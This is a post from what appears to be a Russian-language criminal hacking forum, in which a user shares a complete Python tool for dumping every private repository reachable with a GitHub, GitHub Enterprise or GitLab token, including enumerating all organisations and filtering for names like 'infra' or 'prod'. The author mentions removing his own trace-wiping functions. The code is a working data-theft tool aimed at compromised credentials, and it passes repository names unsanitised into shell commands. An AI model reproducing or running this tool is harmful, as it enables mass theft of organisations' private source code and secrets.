• XSS.stack #1 – первый литературный журнал от юзеров форума

Git(hub/lab) Dumper

nightly

root@usss-int:~#
Premium
Регистрация
03.10.2019
Сообщения
375
Реакции
413
Писал для себя, функции затирания и т.д убрал. Кому нужно сделают себе)

Просто сдампить гит:
pgit --token=ghp_KEYKEYKEYKEYKEY --project=SomeProject

Сдампить gitlab:
pgit --token=KEYKEYKEYKEYKEY --project=SomeProject --domain=gitlab.evil.corp

Сдампить Github Enterprise:
pgit --token=ghp_KEYKEYKEYKEYKEY --project=SomeProject --domain=github.evil.corp --enterprise=True
По факту вместо True что угодно)


Python:
from os import makedirs, rmdir, system, listdir
from os.path import exists
from sys import argv

from requests import get as GETReq


class GitDump:
    def __init__(
        self, token: str, project: str, search: str, user: str, domain: str,
        enterprise: bool = False
    ) -> None:
        assert token, "You not provided the token"
        assert project, "Expected project dir name"
        assert (enterprise and domain != 'api.github.com') or \
               (not enterprise and domain), "If it's Enterprise set domain"

        self.already_done = []
        self.save_path: str = project
        self.search: list = search.split(',')
        self.url: str = domain
        self.params = {
            'page': 0,
            'per_page': '100'
        }

        if token.startswith('ghp_') or token.startswith('gho_'):
            print('[+] GitHub detected')

            self.path = '/user/repos' if not enterprise else '/api/v3/'
            self.params.update({
                'type': 'private',
                'sort': 'updated'
            })
            self.headers = {
                'Authorization': f'token {token}'
            }
            self.variables = {
                'must_be_in_aswer': 'full_name',
                'repo_name_in': 'full_name'
            }

            if enterprise:
                self.params['type'] = 'all'
                self.params.pop('type')
            else:
                domain = 'github.com'
        else:  # gitlab
            print('[+] Gitlab detecteds')

            self.path = '/api/v4/projects'
            self.headers = {
                'PRIVATE-TOKEN': token
            }
            self.variables = {
                'must_be_in_aswer': 'web_url',
                'repo_name_in': 'path_with_namespace'
            }

        self.git_cmd = f"git clone https://{user}:{token}@{domain}//NAME NAME2"  # noqa
        
    def __search_check(self) -> bool:
        for allowed in self.search:
            if allowed in pname:
                return True

        return False

    def __executor(self, answer: list) -> None:
        for repo in answer:
            if not isinstance(repo, dict) or \
               not repo.get(self.variables['must_be_in_aswer'], None):
                continue

            name = str(repo.get(
                self.variables['repo_name_in'], ''
            )).encode('utf-8', 'ignore').strip().decode()
            
            if not name or name in self.already_done:
                continue

            self.already_done.append(name)

            path = f"./{self.save_path}/{name}"
            *fpath, pname = path.split('/')

            if self.search != [''] and not self.__search_check():
                continue

            if exists(path+'/.git'):
                print('[!] We already have:', path)
                system(f'cd {path} && git reset --hard && git pull')
                continue
            elif exists(path):
                if len(listdir(path)) <= 0:
                    rmdir(path)
            elif not exists(path):
                makedirs('/'.join(fpath), exist_ok=True)

            print('[+] Downloading:', path)

            system(
                self.git_cmd
                .replace('/NAME', name)
                .replace('NAME2', path)
            )

    def dump_enterprise(self) -> None:
        orgs_list = []
        since = 0

        print('[!] Parsing orgs...')

        while True:
            orgs_ids = []

            try:
                orgs = GETReq(
                    f'https://{self.url}{self.path}organizations',
                    params={'since': since}, headers=self.headers
                ).json()

                if not isinstance(orgs, list):
                    break
                elif not orgs or orgs == []:
                    break

                for org in orgs:
                    orgs_list.append(org.get('login', ''))
                    orgs_ids.append(int(org.get('id', 1)))

                since = max(orgs_ids)
            except Exception:
                pass

        print(f'[+] Orgs parsed! Total: {len(orgs_list)}; List: {orgs_list}')

        for org in orgs_list:
            self.params['page'] = 0
            print('[+] Dumping org:', org)
            while True:
                try:
                    answer = GETReq(
                        f'https://{self.url}{self.path}orgs/{org}/repos',
                        params=self.params, headers=self.headers
                    ).json()

                    if not isinstance(answer, list) or answer == []:
                        print('[!] Empty resp; Maybe done?')
                        break

                    print('[!] Page:', self.params['page'])

                    self.__executor(answer)
                    self.params['page'] += 1
                except Exception as e:
                    print('Error:', e)

    def dump_usual(self) -> None:
        while True:
            try:
                answer = GETReq(
                    f'https://{self.url}{self.path}',
                    params=self.params, headers=self.headers
                ).json()
            except Exception as e:
                print('[?] Error when fetch:', e)
                break

            if not isinstance(answer, list) or answer == []:
                print('[+] Nothing in answer. Stop...')
                break

            print('[!] Page:', self.params['page'])

            self.params['page'] += 1
            self.__executor(answer)


def clean_arg(arg: str, split_value: str) -> str:
    arg = arg.split(f'--{split_value}=', 1)[1]

    if arg.startswith('"') and arg.endswith('"'):
        arg = arg[1:-1]

    return arg


def main() -> None:
    if len(argv) < 3 or len(argv) > 6:
        print(
            'python3 main.py\\\n' +
            ' --token="ghp_/shja- (required)"\\\n' +
            ' --project="Project Name (required)"\\\n' +
            ' --domain="ex. git.evil.company (for Git(lab/hub) Enterprise)"\\\n' +
            ' --user="custom user (default: oauth2)"\\\n' +
            ' --search="infra,prod" (dump if keyword in repo name)\\\n' +
            ' --enterprise=True (just flag for Github Enterprise)'
        )
        exit(0)

    params = {
        'token': None,
        'project': None,
        'user': 'oauth2',
        'domain': 'api.github.com',
        'search': '',
        'enterprise': False
    }

    for arg in argv:
        for key in params.keys():
            if arg.startswith(f'--{key}', None):
                params[key] = clean_arg(arg, key)
                break

    git = GitDump(**params)
    git.dump_enterprise() if params['enterprise'] else git.dump_usual()


if __name__ == "__main__":
    main()


==== UPD Sep 26: подправил работу с Enterprise; оптимизация
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх